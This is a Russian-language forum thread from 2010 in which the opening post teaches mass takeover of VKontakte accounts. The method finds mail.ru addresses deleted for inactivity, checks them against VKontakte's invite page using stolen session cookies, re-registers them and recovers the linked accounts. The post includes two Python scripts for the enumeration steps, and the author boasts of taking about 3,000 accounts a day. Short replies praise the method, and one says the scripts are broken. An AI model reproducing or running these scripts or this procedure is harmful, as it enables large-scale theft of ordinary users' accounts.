Как добывать аккаунты вконтакте
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Как добывать аккаунты вконтакте - 2010-08-18 17:10:34.213333
|
|
|
underwater
Сообщений: 12
Оценки: 0
Присоединился: 2009-05-27 21:02:49.146666
|
Привет. Сейчас я спалю тему как добывать аккаунты вконтакте. Думающий читатель наверняка подумает: "зачем он это делает, он что сибанулся?". А ответ таков, я по простоте душевной в своё время спалил эту тему одному человеку, а он вместо того чтобы использовать её для себя продаёт вконтактики. Пусть лучше эта тему умрёт, чем редиска будет ей пользоваться. Вот такой я кибер-шахид Ну да ладно, закончили с интро, приступим к сути. И так, у нас самый популярный в этой стране почтовый сервис mail.ru, всё бы ничего, почта как почта, да вот только там удаляют мыло если его не использовать в течении 3х месяцев. И как следствие из популярности на этих удаленных мылах висит большое количество вконтактиков. Что мы делаем? Мы качаем спам базы mail.ru и проходим их вот таким скриптиком, он пишет в файл free_mails.txt те мыла, которые были удалены за неактивность в течении 3х месяцев.
# -*- coding: utf-8 -*-
import threading
import Queue
import pycurl
from cStringIO import StringIO
from urllib import urlencode
import re
from time import sleep
goods = open('free_mails.txt', 'a')
lock = threading.Lock()
qu = Queue.Queue()
def ithread():
rexp = re.compile(r'\&([^=]+)="\+\(urlencode\(name_\)\)\+"\&x_reg_id=([^\&]+)')
curl = pycurl.Curl()
buff = StringIO()
curl.setopt(curl.WRITEFUNCTION, buff.write)
curl.setopt(curl.ENCODING, 'gzip,deflate')
curl.setopt(curl.NOSIGNAL, 1)
#curl.setopt(curl.PROXYTYPE, curl.PROXYTYPE_SOCKS5)
#curl.setopt(curl.PROXY, host)
#curl.setopt(curl.PROXYPORT, int(port))
def curlrun():
while True:
try:
buff.truncate(0)
curl.perform()
except pycurl.error, err:
print err
sleep(1)
else:
return buff.getvalue()
email = ''
session = []
while True:
if email == '':
email = qu.get()
if email == '':
return
if session == []:
curl.setopt(curl.URL, 'http://win.mail.ru/cgi-bin/signup')
match = rexp.search(curlrun())
if not match:
print 'rexp error'
return
session = match.groups()
login, domain = email.split('@')
post = {
'RegistrationDomain' : domain,
session[0] : login,
'x_reg_id' : session[1]
}
curl.setopt(curl.URL, 'http://win.mail.ru/cgi-bin/checklogin')
curl.setopt(curl.POSTFIELDS, urlencode(post))
reply = curlrun()
if reply == '0':
lock.acquire()
print '[+] %s' % email
goods.write('%s\n' % email)
goods.flush()
lock.release()
email = ''
elif reply == '109':
print 'NEW SESSION'
session = []
else:
#print '[-] %s' % email
email = ''
for x in xrange(20):
thread = threading.Thread(target=ithread)
thread.start()
emails = open('first_base.txt', 'r')
flag = True
for e in emails.xreadlines():
e = e.rstrip()
if flag == True:
qu.put(e)
elif e == 'smaliavka@mail.ru':
flag = True Скриптик в некоторых моментах коряв, причина тому это то, что он в своё время писался в спешке. И вот мы получили мыла которые мы можем зарегистрировать и сретривить заветные вконтактики, само собой регистрировать все мыла подряд будет накладно. Но это поправимо, чемпион специальной олимпиды по программированию - Павел Дурофф оставил для нас дырочку http://vkontakte.ru/invite.php Как использовать эту дырочку? А очень просто, если мы туда пихаем мыло которое уже зарегистрировано вконтактике, то в ответ получаем - "Приглашение не отослано, так как пользователь с таким адресом уже зарегистрирован.", если же мыло там не зарегистрировано, то ответ мы получаем другой. Ну и само собой сей процесс нужно автоматизировать, прогоняем через этот скрипт результат работы первого скрипта, а именно free_mails.txt
import threading
import pycurl
from urllib import urlencode
from time import sleep
# sids это массив с куками аккаунтов вконтакта, их нужно много так как нельзя слать запросы чаще раза в секунду
sids = [
'c55bf90eefb28ac5c45250e46e06923a782c85ba4d9d5fa84 6748475',
'9f950159258644d14aad6c419c39144b3ed20aafc65f46c6a 89f133d'
]
emlist = map(str.rstrip, open('free_mails.txt', 'r').xreadlines())
goods = open('invk.txt', 'a')
lock = threading.Lock()
def work(sid):
curl = pycurl.Curl()
curl.setopt(curl.URL, 'http://vkontakte.ru/invite.php')
curl.setopt(curl.COOKIE, 'remixsid=%s' % sid)
while True:
try:
email = emlist.pop(0)
except IndexError:
break
post = {
'act' : 'sent',
'email' : email,
'first_name' : '',
'last_name' : '',
'cmate' : '1',
'cfriend' : '5',
'message' : ''
}
curl.setopt(curl.POSTFIELDS, urlencode(post))
curl.perform()
rurl = curl.getinfo(curl.REDIRECT_URL)
if not rurl:
emlist.append(email)
return
lock.acquire()
print rurl
lock.release()
if 'invite.php?m=3' in rurl:
lock.acquire()
goods.write('%s\n' % email)
goods.flush()
lock.release()
sleep(1)
threadslist = []
for s in sids:
thread = threading.Thread(target=work, args=(s,))
threadslist.append(thread)
thread.start()
sleep(1)
for t in threadslist:
t.join() После работы этого скрипта мы получили список мыл в файле invk.txt которые удалены за неактивность и на них висит аккаунтик вконтакта. Что дальше? Дальше регистрируем мыла которые удалены с mail.ru и зарегистрированы вконтактике. Реггер я не всталяю, так как не уверен в том, что он еще работает, а проверять его влом. Ну и само собой дальше идёт ретрив. В своё время ретривер у меня использовал TOR вместо прокси, но теперь вконтактик банит его выходные узлы, так что вам придётся озадачиться проксями. А так же сортировать старые аккаунты (с них можной инвайтить без капчи) и новые, а так же те, которые привязаны к мобилке. За сим вроде все, само собой редиска, о котором я писал в интро замутил базы mail.ru, поэтому вам придётся использовать какие нибудь превадные. Ах да, о производительности всего этого, каждый день я снимал примерно по 3 тысячи вконтактиков. upd: Как мне тут подсказали - если акк привязан к мобилке, то с помощью мыла его не заполучить. Так что приходится рассчитывать на те акки, которые к мобилке не привязаны ~ 30%. Вообще, логично то, что те кто не заходят на мыло по 3 месяца могут забить и на привязку к мобиле. Еще есть 30% аккаунтов которые заброшены до активации по мылу, для их использования достаточно спарсить из мыла ссылку на активацию и перейти по ней (так было осенью). © ЕгоАкк Взято с http://vulnes.com
|
|
|
RE: Как добывать аккаунты вконтакте - 2010-08-23 04:34:03.733333
|
|
|
aL.ive
Сообщений: 163
Оценки: 0
Присоединился: 2010-03-08 13:39:18.673333
|
слушай, а интересный метод, лови +!
|
|
|
RE: Как добывать аккаунты вконтакте - 2010-08-30 13:28:12.653333
|
|
|
Surft
Сообщений: 252
Оценки: 5
Присоединился: 2010-08-25 07:23:20.633333
|
надо будет попробовать!
|
|
|
RE: Как добывать аккаунты вконтакте - 2010-09-01 01:29:45.186666
|
|
|
Alkaline
Сообщений: 303
Оценки: 0
Присоединился: 2010-08-23 17:15:51.476666
|
Отредактируй скрипты, не рабочие
|
|
|
|
|